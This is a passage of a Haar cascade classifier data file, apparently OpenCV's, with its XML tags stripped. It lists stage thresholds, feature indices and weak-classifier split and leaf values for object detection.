+ + 0 -1 102 1.0221180273219943e-03 + + + 6.8857602775096893e-02 -6.5861141681671143e-01 + + + <_> + + 0 -1 103 -2.6056109927594662e-03 + + + 4.2942029237747192e-01 -1.3022460043430328e-01 + + + <_> + + 0 -1 104 5.4505340813193470e-05 + + + -1.9288620352745056e-01 2.8958499431610107e-01 + + + <_> + + 0 -1 105 -6.6721157054416835e-05 + + + 3.0290710926055908e-01 -1.9854369759559631e-01 + + + <_> + + 0 -1 106 2.6281431317329407e-01 + + + -2.3293940722942352e-01 2.3692460358142853e-01 + + + <_> + + 0 -1 107 -2.3569669574499130e-02 + + + 1.9401040673255920e-01 -2.8484618663787842e-01 + + + <_> + + 0 -1 108 -3.9120172150433064e-03 + + + 5.5378979444503784e-01 -9.5665678381919861e-02 + + + <_> + + 0 -1 109 5.0788799853762612e-05 + + + -2.3912659287452698e-01 2.1799489855766296e-01 + + + <_> + + 0 -1 110 -7.8732017427682877e-03 + + + 4.0697428584098816e-01 -1.2768040597438812e-01 + + + <_> + + 0 -1 111 -1.6778609715402126e-03 + + + -5.7744657993316650e-01 9.7324788570404053e-02 + + + <_> + + 0 -1 112 -2.6832430739887059e-04 + + + 2.9021880030632019e-01 -1.6831269860267639e-01 + + + <_> + + 0 -1 113 7.8687182394787669e-05 + + + -1.9551570713520050e-01 2.7720969915390015e-01 + + + <_> + + 0 -1 114 1.2953500263392925e-02 + + + -9.6838317811489105e-02 4.0323871374130249e-01 + + + <_> + + 0 -1 115 -1.3043959625065327e-02 + + + 4.7198569774627686e-01 -8.9287549257278442e-02 + + + <_> + + 0 -1 116 3.0261781066656113e-03 + + + -1.3623380661010742e-01 3.0686271190643311e-01 + + + <_> + + 0 -1 117 -6.0438038781285286e-03 + + + -7.7954101562500000e-01 5.7316310703754425e-02 + + + <_> + + 0 -1 118 -2.2507249377667904e-03 + + + 3.0877059698104858e-01 -1.5006309747695923e-01 + + + <_> + + 0 -1 119 1.5826810151338577e-02 + + + 6.4551889896392822e-02 -7.2455567121505737e-01 + + + <_> + + 0 -1 120 6.5864507632795721e-05 + + + -1.7598840594291687e-01 2.3210389912128448e-01 + + + + + <_> + 36 + -1.2257250547409058e+00 + + <_> + + 0 -1 121 -2.7854869142174721e-02 + + + 4.5518448948860168e-01 -1.8099910020828247e-01 + + + <_> + + 0 -1 122 1.2895040214061737e-01 + + + -5.2565532922744751e-01 1.6188900172710419e-01 + + + <_> + + 0 -1 123 2.4403180927038193e-02 + + + -1.4974960684776306e-01 4.2357379198074341e-01 + + + <_> + + 0 -1 124 -2.4458570405840874e-03 + + + 3.2948669791221619e-01 -1.7447690665721893e-01 + + + <_> + + 0 -1 125 -3.5336529836058617e-03 + + + 4.7426640987396240e-01 -7.3618359863758087e-02 + + + <_> + + 0 -1 126 5.1358150813030079e-05 + + + -3.0421930551528931e-01 1.5633270144462585e-01 + + + <_> + + 0 -1 127 -1.6225680708885193e-02 + + + 2.3002180457115173e-01 -2.0359820127487183e-01 + + + <_> + + 0 -1 128 -4.6007009223103523e-03 + + + 4.0459269285202026e-01 -1.3485440611839294e-01 + + + <_> + + 0 -1 129 -2.1928999572992325e-02 + + + -6.8724489212036133e-01 8.0684266984462738e-02 + + + <_> + + 0 -1 130 -2.8971210122108459e-03 + + + -6.9619607925415039e-01 4.8545219004154205e-02 + + + <_> + + 0 -1 131 -4.4074649922549725e-03 + + + 2.5166261196136475e-01 -1.6236649453639984e-01 + + + <_> + + 0 -1 132 2.8437169268727303e-02 + + + 6.0394261032342911e-02 -6.6744458675384521e-01 + + + <_> + + 0 -1 133 8.3212882280349731e-02 + + + 6.4357921481132507e-02 -5.3626042604446411e-01 + + + <_> + + 0 -1 134 -1.2419329956173897e-02 + + + -7.0816862583160400e-01 5.7526610791683197e-02 + + + <_> + + 0 -1 135 -4.6992599964141846e-03 + + + 5.1254332065582275e-01 -8.7350800633430481e-02 + + + <_> + + 0 -1 136 -7.8025809489190578e-04 + + + 2.6687660813331604e-01 -1.7961509525775909e-01 + + + <_> + + 0 -1 137 -1.9724339246749878e-02 + + + -6.7563730478286743e-01 7.2941906750202179e-02 + + + <_> + + 0 -1 138 1.0269250487908721e-03 + + + 5.3919319063425064e-02 -5.5540180206298828e-01 + + + <_> + + 0 -1 139 -2.5957189500331879e-02 + + + 5.6362527608871460e-01 -7.1898393332958221e-02 + + + <_> + + 0 -1 140 -1.2552699772641063e-03 + + + -5.0346630811691284e-01 8.9691452682018280e-02 + + + <_> + + 0 -1 141 -4.9970578402280807e-02 + + + 1.7685119807720184e-01 -2.2301959991455078e-01 + + + <_> + + 0 -1 142 -2.9899610672146082e-03 + + + 3.9122420549392700e-01 -1.0149750113487244e-01 + + + <_> + + 0 -1 143 4.8546842299401760e-03 + + + -1.1770179867744446e-01 4.2190939188003540e-01 + + + <_> + + 0 -1 144 1.0448860120959580e-04 + + + -1.7333979904651642e-01 2.2344440221786499e-01 + + + <_> + + 0 -1 145 5.9689260524464771e-05 + + + -2.3409630358219147e-01 1.6558240354061127e-01 + + + <_> + + 0 -1 146 -1.3423919677734375e-02 + + + 4.3023818731307983e-01 -9.9723652005195618e-02 + + + <_> + + 0 -1 147 2.2581999655812979e-03 + + + 7.2720989584922791e-02 -5.7501018047332764e-01 + + + <_> + + 0 -1 148 -1.2546280398964882e-02 + + + 3.6184579133987427e-01 -1.1457010358572006e-01 + + + <_> + + 0 -1 149 -2.8705769218504429e-03 + + + 2.8210538625717163e-01 -1.2367550283670425e-01 + + + <_> + + 0 -1 150 1.9785640761256218e-02 + + + 4.7876749187707901e-02 -8.0666238069534302e-01 + + + <_> + + 0 -1 151 4.7588930465281010e-03 + + + -1.0925389826297760e-01 3.3746978640556335e-01 + + + <_> + + 0 -1 152 -6.9974269717931747e-03 + + + -8.0295938253402710e-01 4.5706700533628464e-02 + + + <_> + + 0 -1 153 -1.3033480383455753e-02 + + + 1.8680439889431000e-01 -1.7688910663127899e-01 + + + <_> + + 0 -1 154 -1.3742579612880945e-03 + + + 2.7725479006767273e-01 -1.2809009850025177e-01 + + + <_> + + 0 -1 155 2.7657810132950544e-03 + + + 9.0758942067623138e-02 -4.2594739794731140e-01 + + + <_> + + 0 -1 156 2.8941841446794569e-04 + + + -3.8816329836845398e-01 8.9267797768115997e-02 + + + + + <_> + 47 + -1.2863140106201172e+00 + + <_> + + 0 -1 157 -1.4469229616224766e-02 + + + 3.7507829070091248e-01 -2.4928289651870728e-01 + + + <_> + + 0 -1 158 -1.3317629694938660e-01 + + + 3.0166378617286682e-01 -2.2414070367813110e-01 + + + <_> + + 0 -1 159 -1.0132160037755966e-02 + + + 3.6985591053962708e-01 -1.7850010097026825e-01 + + + <_> + + 0 -1 160 -7.8511182218790054e-03 + + + 4.6086761355400085e-01 -1.2931390106678009e-01 + + + <_> + + 0 -1 161 -1.4295839704573154e-02 + + + 4.4841429591178894e-01 -1.0226240009069443e-01 + + + <_> + + 0 -1 162 -5.9606940485537052e-03 + + + 2.7927988767623901e-01 -1.5323829650878906e-01 + + + <_> + + 0 -1 163 1.0932769626379013e-02 + + + -1.5141740441322327e-01 3.9889648556709290e-01 + + + <_> + + 0 -1 164 5.0430990086169913e-05 + + + -2.2681570053100586e-01 2.1644389629364014e-01 + + + <_> + + 0 -1 165 -5.8431681245565414e-03 + + + 4.5420148968696594e-01 -1.2587159872055054e-01 + + + <_> + + 0 -1 166 -2.2346209734678268e-02 + + + -6.2690192461013794e-01 8.2403123378753662e-02 + + + <_> + + 0 -1 167 -4.8836669884622097e-03 + + + 2.6359251141548157e-01 -1.4686630666255951e-01 + + + <_> + + 0 -1 168 7.5506002758629620e-05 + + + -2.4507020413875580e-01 1.6678880155086517e-01 + + + <_> + + 0 -1 169 -4.9026997294276953e-04 + + + -4.2649960517883301e-01 8.9973561465740204e-02 + + + <_> + + 0 -1 170 1.4861579984426498e-03 + + + -1.2040250003337860e-01 3.0097651481628418e-01 + + + <_> + + 0 -1 171 -1.1988339945673943e-02 + + + 2.7852478623390198e-01 -1.2244340032339096e-01 + + + <_> + + 0 -1 172 1.0502239689230919e-02 + + + 4.0452759712934494e-02 -7.4050408601760864e-01 + + + <_> + + 0 -1 173 -3.0963009223341942e-02 + + + -6.2842690944671631e-01 4.8013761639595032e-02 + + + <_> + + 0 -1 174 1.1414520442485809e-02 + + + 3.9405211806297302e-02 -7.1674120426177979e-01 + + + <_> + + 0 -1 175 -1.2337000109255314e-02 + + + 1.9941329956054688e-01 -1.9274300336837769e-01 + + + <_> + + 0 -1 176 -5.9942267835140228e-03 + + + 5.1318162679672241e-01 -6.1658058315515518e-02 + + + <_> + + 0 -1 177 -1.1923230485990644e-03 + + + -7.2605299949645996e-01 5.0652720034122467e-02 + + + <_> + + 0 -1 178 -7.4582789093255997e-03 + + + 2.9603078961372375e-01 -1.1754789948463440e-01 + + + <_> + + 0 -1 179 2.7877509128302336e-03 + + + 4.5068711042404175e-02 -6.9535410404205322e-01 + + + <_> + + 0 -1 180 -2.2503209766000509e-04 + + + 2.0047250390052795e-01 -1.5775249898433685e-01 + + + <_> + + 0 -1 181 -5.0367889925837517e-03 + + + 2.9299819469451904e-01 -1.1700499802827835e-01 + + + <_> + + 0 -1 182 7.4742160737514496e-02 + + + -1.1392319947481155e-01 3.0256620049476624e-01 + + + <_> + + 0 -1 183 2.0255519077181816e-02 + + + -1.0515890270471573e-01 4.0670460462570190e-01 + + + <_> + + 0 -1 184 4.4214509427547455e-02 + + + -2.7631640434265137e-01 1.2363869696855545e-01 + + + <_> + + 0 -1 185 -8.7259558495134115e-04 + + + 2.4355030059814453e-01 -1.3300949335098267e-01 + + + <_> + + 0 -1 186 -2.4453739169985056e-03 + + + -5.3866171836853027e-01 6.2510646879673004e-02 + + + <_> + + 0 -1 187 8.2725353422574699e-05 + + + -2.0772209763526917e-01 1.6270439326763153e-01 + + + <_> + + 0 -1 188 -3.6627110093832016e-02 + + + 3.6568409204483032e-01 -9.0330280363559723e-02 + + + <_> + + 0 -1 189 3.0996399000287056e-03 + + + -1.3183020055294037e-01 2.5354298949241638e-01 + + + <_> + + 0 -1 190 -2.4709280114620924e-03 + + + -5.6853497028350830e-01 5.3505431860685349e-02 + + + <_> + + 0 -1 191 -1.4114670455455780e-02 + + + -4.8599010705947876e-01 5.8485250920057297e-02 + + + <_> + + 0 -1 192 8.4537261864170432e-04 + + + -8.0093637108802795e-02 4.0265649557113647e-01 + + + <_> + + 0 -1 193 -7.1098632179200649e-03 + + + 4.4703239202499390e-01 -6.2947437167167664e-02 + + + <_> + + 0 -1 194 -1.9125960767269135e-02 + + + -6.6422867774963379e-01 4.9822770059108734e-02 + + + <_> + + 0 -1 195 -5.0773010589182377e-03 + + + 1.7379400134086609e-01 -1.6850599646568298e-01 + + + <_> + + 0 -1 196 -2.9198289848864079e-03 + + + -6.0110282897949219e-01 5.7427939027547836e-02 + + + <_> + + 0 -1 197 -2.4902150034904480e-02 + + + 2.3397980630397797e-01 -1.1818459630012512e-01 + + + <_> + + 0 -1 198 2.0147779956459999e-02 + + + -8.9459821581840515e-02 3.6024400591850281e-01 + + + <_> + + 0 -1 199 1.7597640398889780e-03 + + + 4.9458440393209457e-02 -6.3102620840072632e-01 + + + <_> + + 0 -1 200 1.3812039978802204e-03 + + + -1.5218059718608856e-01 1.8971739709377289e-01 + + + <_> + + 0 -1 201 -1.0904540307819843e-02 + + + -5.8097380399703979e-01 4.4862728565931320e-02 + + + <_> + + 0 -1 202 7.5157178798690438e-05 + + + -1.3777349889278412e-01 1.9543160498142242e-01 + + + <_> + + 0 -1 203 3.8649770431220531e-03 + + + -1.0302229970693588e-01 2.5374969840049744e-01 + + + + + <_> + 48 + -1.1189440488815308e+00 + + <_> + + 0 -1 204 -1.0215889662504196e-01 + + + 4.1681259870529175e-01 -1.6655629873275757e-01 + + + <_> + + 0 -1 205 -5.1939819008111954e-02 + + + 3.3023950457572937e-01 -2.0715710520744324e-01 + + + <_> + + 0 -1 206 -4.2717780917882919e-02 + + + 2.6093730330467224e-01 -1.6013890504837036e-01 + + + <_> + + 0 -1 207 4.3890418601222336e-04 + + + -3.4750530123710632e-01 1.3918919861316681e-01 + + + <_> + + 0 -1 208 2.4264389649033546e-02 + + + -4.2552059888839722e-01 1.3578380644321442e-01 + + + <_> + + 0 -1 209 -2.3820599541068077e-02 + + + 3.1749808788299561e-01 -1.6652040183544159e-01 + + + <_> + + 0 -1 210 -7.0518180727958679e-03 + + + 3.0947178602218628e-01 -1.3338300585746765e-01 + + + <_> + + 0 -1 211 -6.8517157342284918e-04 + + + -6.0082262754440308e-01 8.7747000157833099e-02 + + + <_> + + 0 -1 212 5.3705149330198765e-03 + + + -1.2311449646949768e-01 3.8333550095558167e-01 + + + <_> + + 0 -1 213 -1.3403539545834064e-02 + + + 3.3877369761466980e-01 -1.0140489786863327e-01 + + + <_> + + 0 -1 214 -6.6856360062956810e-03 + + + -6.1193597316741943e-01 4.7740221023559570e-02 + + + <_> + + 0 -1 215 -4.2887418530881405e-03 + + + 2.5275790691375732e-01 -1.4434510469436646e-01 + + + <_> + + 0 -1 216 -1.0876749642193317e-02 + + + 5.4775732755661011e-01 -5.9455480426549911e-02 + + + <_> + + 0 -1 217 3.7882640026509762e-04 + + + 8.3410300314426422e-02 -4.4226369261741638e-01 + + + <_> + + 0 -1 218 -2.4550149682909250e-03 + + + 2.3330999910831451e-01 -1.3964480161666870e-01 + + + <_> + + 0 -1 219 1.2721839593723416e-03 + + + 6.0480289161205292e-02 -4.9456089735031128e-01 + + + <_> + + 0 -1 220 -4.8933159559965134e-03 + + + -6.6833269596099854e-01 4.6218499541282654e-02 + + + <_> + + 0 -1 221 2.6449989527463913e-02 + + + -7.3235362768173218e-02 4.4425961375236511e-01 + + + <_> + + 0 -1 222 -3.3706070389598608e-03 + + + -4.2464339733123779e-01 6.8676561117172241e-02 + + + <_> + + 0 -1 223 -2.9559480026364326e-03 + + + 1.6218039393424988e-01 -1.8222999572753906e-01 + + + <_> + + 0 -1 224 3.0619909986853600e-02 + + + -5.8643341064453125e-02 5.3263628482818604e-01 + + + <_> + + 0 -1 225 -9.5765907317399979e-03 + + + -6.0562682151794434e-01 5.3345989435911179e-02 + + + <_> + + 0 -1 226 6.6372493165545166e-05 + + + -1.6680839657783508e-01 1.9284160435199738e-01 + + + <_> + + 0 -1 227 5.0975950434803963e-03 + + + 4.4119510799646378e-02 -5.7458841800689697e-01 + + + <_> + + 0 -1 228 3.7112718564458191e-04 + + + -1.1086399853229523e-01 2.3105390369892120e-01 + + + <_> + + 0 -1 229 -8.6607588455080986e-03 + + + 4.0456289052963257e-01 -6.2446091324090958e-02 + + + <_> + + 0 -1 230 8.7489158613607287e-04 + + + 6.4875148236751556e-02 -4.4871041178703308e-01 + + + <_> + + 0 -1 231 1.1120870476588607e-03 + + + -9.3861460685729980e-02 3.0453911423683167e-01 + + + <_> + + 0 -1 232 -2.3837819695472717e-02 + + + -5.8887428045272827e-01 4.6659421175718307e-02 + + + <_> + + 0 -1 233 2.2272899514064193e-04 + + + -1.4898599684238434e-01 1.7701950669288635e-01 + + + <_> + + 0 -1 234 2.4467470124363899e-02 + + + -5.5789601057767868e-02 4.9208301305770874e-01 + + + <_> + + 0 -1 235 -1.4239320158958435e-01 + + + 1.5192000567913055e-01 -1.8778899312019348e-01 + + + <_> + + 0 -1 236 -2.0123120397329330e-02 + + + 2.1780100464820862e-01 -1.2081900238990784e-01 + + + <_> + + 0 -1 237 1.1513679783092812e-04 + + + -1.6856589913368225e-01 1.6451929509639740e-01 + + + <_> + + 0 -1 238 -2.7556740678846836e-03 + + + -6.9442039728164673e-01 3.9449468255043030e-02 + + + <_> + + 0 -1 239 -7.5843912782147527e-05 + + + 1.8941369652748108e-01 -1.5183840692043304e-01 + + + <_> + + 0 -1 240 -7.0697711780667305e-03 + + + 4.7064599394798279e-01 -5.7927619665861130e-02 + + + <_> + + 0 -1 241 -3.7393178790807724e-02 + + + -7.5892448425292969e-01 3.4116048365831375e-02 + + + <_> + + 0 -1 242 -1.5995610505342484e-02 + + + 3.0670469999313354e-01 -8.7525576353073120e-02 + + + <_> + + 0 -1 243 -3.1183990649878979e-03 + + + 2.6195371150970459e-01 -9.1214887797832489e-02 + + + <_> + + 0 -1 244 1.0651360498741269e-03 + + + -1.7427560687065125e-01 1.5277640521526337e-01 + + + <_> + + 0 -1 245 -1.6029420075938106e-03 + + + 3.5612630844116211e-01 -7.6629996299743652e-02 + + + <_> + + 0 -1 246 4.3619908392429352e-03 + + + 4.9356970936059952e-02 -5.9228771924972534e-01 + + + <_> + + 0 -1 247 -1.0779909789562225e-02 + + + -6.3922178745269775e-01 3.3204540610313416e-02 + + + <_> + + 0 -1 248 -4.3590869754552841e-03 + + + 1.6107389330863953e-01 -1.5221320092678070e-01 + + + <_> + + 0 -1 249 7.4596069753170013e-03 + + + 3.3172961324453354e-02 -7.5007742643356323e-01 + + + <_> + + 0 -1 250 8.1385448575019836e-03 + + + 2.6325279846787453e-02 -7.1731162071228027e-01 + + + <_> + + 0 -1 251 -3.3338490873575211e-02 + + + 3.3536610007286072e-01 -7.0803590118885040e-02 + + + + + <_> + 55 + -1.1418989896774292e+00 + + <_> + + 0 -1 252 1.9553979858756065e-02 + + + -1.0439720004796982e-01 5.3128951787948608e-01 + + + <_> + + 0 -1 253 2.2122919559478760e-02 + + + -2.4747270345687866e-01 2.0847250521183014e-01 + + + <_> + + 0 -1 254 -4.1829389519989491e-03 + + + 3.8289439678192139e-01 -1.4711579680442810e-01 + + + <_> + + 0 -1 255 -8.6381728760898113e-04 + + + -6.2632888555526733e-01 1.1993259936571121e-01 + + + <_> + + 0 -1 256 7.9958612332120538e-04 + + + 9.2573471367359161e-02 -5.5168831348419189e-01 + + + <_> + + 0 -1 257 9.1527570039033890e-03 + + + -7.2929807007312775e-02 5.5512511730194092e-01 + + + <_> + + 0 -1 258 -3.9388681761920452e-03 + + + 2.0196039974689484e-01 -2.0912039279937744e-01 + + + <_> + + 0 -1 259 1.4613410166930407e-04 + + + -2.7861818671226501e-01 1.3817410171031952e-01 + + + <_> + + 0 -1 260 -3.1691689509898424e-03 + + + 3.6685898900032043e-01 -7.6308242976665497e-02 + + + <_> + + 0 -1 261 -2.2189389914274216e-02 + + + 3.9096599817276001e-01 -1.0971540212631226e-01 + + + <_> + + 0 -1 262 -7.4523608200252056e-03 + + + 1.2838590145111084e-01 -2.4159869551658630e-01 + + + <_> + + 0 -1 263 7.7997002517804503e-04 + + + 7.1978069841861725e-02 -4.3976500630378723e-01 + + + <_> + + 0 -1 264 -4.6783639118075371e-03 + + + 2.1569849550724030e-01 -1.4205920696258545e-01 + + + <_> + + 0 -1 265 -1.5188639983534813e-02 + + + 3.6458781361579895e-01 -8.2675926387310028e-02 + + + <_> + + 0 -1 266 5.0619798712432384e-03 + + + -3.4380409121513367e-01 9.2068232595920563e-02 + + + <_> + + 0 -1 267 -1.7351920250803232e-03 + + + -6.1725497245788574e-01 4.9214478582143784e-02 + + + <_> + + 0 -1 268 -1.2423450127243996e-02 + + + -5.8558952808380127e-01 4.6112600713968277e-02 + + + <_> + + 0 -1 269 -1.3031429611146450e-02 + + + -5.9710788726806641e-01 4.0672458708286285e-02 + + + <_> + + 0 -1 270 -1.2369629694148898e-03 + + + -6.8334168195724487e-01 3.3156178891658783e-02 + + + <_> + + 0 -1 271 6.1022108420729637e-03 + + + -9.4729237258434296e-02 3.0102241039276123e-01 + + + <_> + + 0 -1 272 6.6952849738299847e-04 + + + 8.1816866993904114e-02 -3.5196030139923096e-01 + + + <_> + + 0 -1 273 -1.7970580374822021e-03 + + + 2.3718979954719543e-01 -1.1768709868192673e-01 + + + <_> + + 0 -1 274 -7.1074528386816382e-04 + + + -4.4763788580894470e-01 5.7682480663061142e-02 + + + <_> + + 0 -1 275 -5.9126471169292927e-03 + + + 4.3425410985946655e-01 -6.6868573427200317e-02 + + + <_> + + 0 -1 276 -3.3132149837911129e-03 + + + 1.8150010704994202e-01 -1.4180320501327515e-01 + + + <_> + + 0 -1 277 -6.0814660042524338e-02 + + + 4.7221711277961731e-01 -6.1410639435052872e-02 + + + <_> + + 0 -1 278 -9.6714183688163757e-02 + + + 2.7683168649673462e-01 -9.4490036368370056e-02 + + + <_> + + 0 -1 279 3.9073550142347813e-03 + + + -1.2278530001640320e-01 2.1057400107383728e-01 + + + <_> + + 0 -1 280 -9.0431869029998779e-03 + + + 3.5641568899154663e-01 -7.7806226909160614e-02 + + + <_> + + 0 -1 281 -4.8800031654536724e-03 + + + -4.1034790873527527e-01 6.9694377481937408e-02 + + + <_> + + 0 -1 282 -4.3547428213059902e-03 + + + -7.3017889261245728e-01 3.6655150353908539e-02 + + + <_> + + 0 -1 283 -9.6500627696514130e-03 + + + 5.5181127786636353e-01 -5.3168080747127533e-02 + + + <_> + + 0 -1 284 -1.7397310584783554e-02 + + + -5.7084232568740845e-01 5.0214089453220367e-02 + + + <_> + + 0 -1 285 -6.8304329179227352e-03 + + + -4.6180281043052673e-01 5.0202690064907074e-02 + + + <_> + + 0 -1 286 3.3255619928240776e-04 + + + -9.5362730324268341e-02 2.5983759760856628e-01 + + + <_> + + 0 -1 287 -2.3100529797375202e-03 + + + 2.2872470319271088e-01 -1.0533530265092850e-01 + + + <_> + + 0 -1 288 -7.5426651164889336e-03 + + + -5.6990510225296021e-01 4.8863459378480911e-02 + + + <_> + + 0 -1 289 -5.2723060362040997e-03 + + + 3.5145181417465210e-01 -8.2390107214450836e-02 + + + <_> + + 0 -1 290 -4.8578968271613121e-03 + + + -6.0417622327804565e-01 4.4539440423250198e-02 + + + <_> + + 0 -1 291 1.5867310576140881e-03 + + + -1.0340909659862518e-01 2.3282019793987274e-01 + + + <_> + + 0 -1 292 -4.7427811659872532e-03 + + + 2.8490281105041504e-01 -9.8090499639511108e-02 + + + <_> + + 0 -1 293 -1.3515240279957652e-03 + + + 2.3096430301666260e-01 -1.1361840367317200e-01 + + + <_> + + 0 -1 294 2.2526069078594446e-03 + + + 6.4478322863578796e-02 -4.2205891013145447e-01 + + + <_> + + 0 -1 295 -3.8038659840822220e-04 + + + -3.8076201081275940e-01 6.0043290257453918e-02 + + + <_> + + 0 -1 296 4.9043921753764153e-03 + + + -7.6104998588562012e-02 3.3232170343399048e-01 + + + <_> + + 0 -1 297 -9.0969670563936234e-03 + + + 1.4287790656089783e-01 -1.6887800395488739e-01 + + + <_> + + 0 -1 298 -6.9317929446697235e-03 + + + 2.7255409955978394e-01 -9.2879563570022583e-02 + + + <_> + + 0 -1 299 1.1471060570329428e-03 + + + -1.5273059904575348e-01 1.9702400267124176e-01 + + + <_> + + 0 -1 300 -3.7662889808416367e-02 + + + -5.9320437908172607e-01 4.0738601237535477e-02 + + + <_> + + 0 -1 301 -6.8165571428835392e-03 + + + 2.5494089722633362e-01 -9.4081960618495941e-02 + + + <_> + + 0 -1 302 6.6205562325194478e-04 + + + 4.6795718371868134e-02 -4.8454371094703674e-01 + + + <_> + + 0 -1 303 -4.2202551849186420e-03 + + + 2.4682149291038513e-01 -9.4673976302146912e-02 + + + <_> + + 0 -1 304 -6.8986512720584869e-02 + + + -6.6514801979064941e-01 3.5926390439271927e-02 + + + <_> + + 0 -1 305 6.1707608401775360e-03 + + + 2.5833319872617722e-02 -7.2686272859573364e-01 + + + <_> + + 0 -1 306 1.0536249727010727e-02 + + + -8.1828996539115906e-02 2.9760798811912537e-01 + + + + + <_> + 32 + -1.1255199909210205e+00 + + <_> + + 0 -1 307 -6.2758728861808777e-02 + + + 2.7899080514907837e-01 -2.9656109213829041e-01 + + + <_> + + 0 -1 308 3.4516479354351759e-03 + + + -3.4635880589485168e-01 2.0903840661048889e-01 + + + <_> + + 0 -1 309 -7.8699486330151558e-03 + + + 2.4144889414310455e-01 -1.9205570220947266e-01 + + + <_> + + 0 -1 310 -3.4624869003891945e-03 + + + -5.9151780605316162e-01 1.2486449629068375e-01 + + + <_> + + 0 -1 311 -9.4818761572241783e-03 + + + 1.8391540646553040e-01 -2.4858260154724121e-01 + + + <_> + + 0 -1 312 2.3226840130519122e-04 + + + -3.3047258853912354e-01 1.0999260097742081e-01 + + + <_> + + 0 -1 313 1.8101120367646217e-03 + + + 9.8744012415409088e-02 -4.9634781479835510e-01 + + + <_> + + 0 -1 314 -5.4422430694103241e-03 + + + 2.9344418644905090e-01 -1.3094750046730042e-01 + + + <_> + + 0 -1 315 7.4148122221231461e-03 + + + -1.4762699604034424e-01 3.3277168869972229e-01 + + + <_> + + 0 -1 316 -1.5565140172839165e-02 + + + -6.8404901027679443e-01 9.9872693419456482e-02 + + + <_> + + 0 -1 317 2.8720520436763763e-02 + + + -1.4833280444145203e-01 3.0902579426765442e-01 + + + <_> + + 0 -1 318 9.6687392215244472e-05 + + + -1.7431040108203888e-01 2.1402959525585175e-01 + + + <_> + + 0 -1 319 5.2371058613061905e-02 + + + -7.0156857371330261e-02 4.9222990870475769e-01 + + + <_> + + 0 -1 320 -8.6485691368579865e-02 + + + 5.0757247209548950e-01 -7.5294211506843567e-02 + + + <_> + + 0 -1 321 -4.2169868946075439e-02 + + + 4.5680961012840271e-01 -9.0219900012016296e-02 + + + <_> + + 0 -1 322 4.5369830331765115e-05 + + + -2.6538279652595520e-01 1.6189539432525635e-01 + + + <_> + + 0 -1 323 5.2918000146746635e-03 + + + 7.4890151619911194e-02 -5.4054671525955200e-01 + + + <_> + + 0 -1 324 -7.5511651812121272e-04 + + + -4.9261990189552307e-01 5.8723948895931244e-02 + + + <_> + + 0 -1 325 7.5108138844370842e-05 + + + -2.1432100236415863e-01 1.4077760279178619e-01 + + + <_> + + 0 -1 326 4.9981209449470043e-03 + + + -9.0547338128089905e-02 3.5716068744659424e-01 + + + <_> + + 0 -1 327 -1.4929979806765914e-03 + + + 2.5623458623886108e-01 -1.4229069650173187e-01 + + + <_> + + 0 -1 328 2.7239411137998104e-03 + + + -1.5649250149726868e-01 2.1088710427284241e-01 + + + <_> + + 0 -1 329 2.2218320518732071e-03 + + + -1.5072989463806152e-01 2.6801869273185730e-01 + + + <_> + + 0 -1 330 -7.3993072146549821e-04 + + + 2.9546990990638733e-01 -1.0692390054464340e-01 + + + <_> + + 0 -1 331 2.0113459322601557e-03 + + + 5.0614349544048309e-02 -7.1683371067047119e-01 + + + <_> + + 0 -1 332 1.1452870443463326e-02 + + + -1.2719069421291351e-01 2.4152779579162598e-01 + + + <_> + + 0 -1 333 -1.0782170575112104e-03 + + + 2.4813009798526764e-01 -1.3461199402809143e-01 + + + <_> + + 0 -1 334 3.3417691010981798e-03 + + + 5.3578309714794159e-02 -5.2274167537689209e-01 + + + <_> + + 0 -1 335 6.9398651248775423e-05 + + + -2.1698740124702454e-01 1.2812179327011108e-01 + + + <_> + + 0 -1 336 -4.0982551872730255e-03 + + + 2.4401889741420746e-01 -1.1570589989423752e-01 + + + <_> + + 0 -1 337 -1.6289720078930259e-03 + + + 2.8261470794677734e-01 -1.0659469664096832e-01 + + + <_> + + 0 -1 338 1.3984859921038151e-02 + + + 4.2715899646282196e-02 -7.3646312952041626e-01 + + + + + <_> + 30 + -1.1729990243911743e+00 + + <_> + + 0 -1 339 1.6416519880294800e-01 + + + -4.8960301280021667e-01 1.7607709765434265e-01 + + + <_> + + 0 -1 340 8.3413062384352088e-04 + + + -2.8220430016517639e-01 2.4199579656124115e-01 + + + <_> + + 0 -1 341 -1.7193210078403354e-03 + + + -7.1485888957977295e-01 8.6162216961383820e-02 + + + <_> + + 0 -1 342 -1.5654950402677059e-03 + + + -7.2972381114959717e-01 9.4070672988891602e-02 + + + <_> + + 0 -1 343 1.9124479731544852e-03 + + + -3.1187158823013306e-01 1.8143390119075775e-01 + + + <_> + + 0 -1 344 -1.3512369990348816e-01 + + + 2.9577299952507019e-01 -2.2179250419139862e-01 + + + <_> + + 0 -1 345 -4.0300549007952213e-03 + + + -6.6595137119293213e-01 8.5431016981601715e-02 + + + <_> + + 0 -1 346 -2.8640460222959518e-03 + + + -6.2086361646652222e-01 5.3106021136045456e-02 + + + <_> + + 0 -1 347 -1.4065420255064964e-03 + + + 2.2346289455890656e-01 -2.0211009681224823e-01 + + + <_> + + 0 -1 348 -3.5820449702441692e-03 + + + -5.4030400514602661e-01 6.8213619291782379e-02 + + + <_> + + 0 -1 349 4.1544470936059952e-02 + + + -6.5215840935707092e-02 6.2109231948852539e-01 + + + <_> + + 0 -1 350 -9.1709550470113754e-03 + + + -7.5553297996520996e-01 5.2640449255704880e-02 + + + <_> + + 0 -1 351 6.1552738770842552e-03 + + + 9.0939402580261230e-02 -4.4246131181716919e-01 + + + <_> + + 0 -1 352 -1.0043520014733076e-03 + + + 2.4292330443859100e-01 -1.8669790029525757e-01 + + + <_> + + 0 -1 353 1.1519829742610455e-02 + + + -1.1763150244951248e-01 3.6723458766937256e-01 + + + <_> + + 0 -1 354 -8.9040733873844147e-03 + + + -4.8931330442428589e-01 1.0897020250558853e-01 + + + <_> + + 0 -1 355 5.3973670583218336e-04 + + + -2.1850399672985077e-01 1.8489989638328552e-01 + + + <_> + + 0 -1 356 1.3727260520681739e-03 + + + -1.5072910487651825e-01 2.9173129796981812e-01 + + + <_> + + 0 -1 357 -1.0807390324771404e-02 + + + 4.2897450923919678e-01 -1.0280139744281769e-01 + + + <_> + + 0 -1 358 1.2670770520344377e-03 + + + 7.4192158877849579e-02 -6.4208251237869263e-01 + + + <_> + + 0 -1 359 2.2991129662841558e-03 + + + 4.7100279480218887e-02 -7.2335231304168701e-01 + + + <_> + + 0 -1 360 2.7187510859221220e-03 + + + -1.7086869478225708e-01 2.3513509333133698e-01 + + + <_> + + 0 -1 361 -6.6619180142879486e-03 + + + -7.8975427150726318e-01 4.5084670186042786e-02 + + + <_> + + 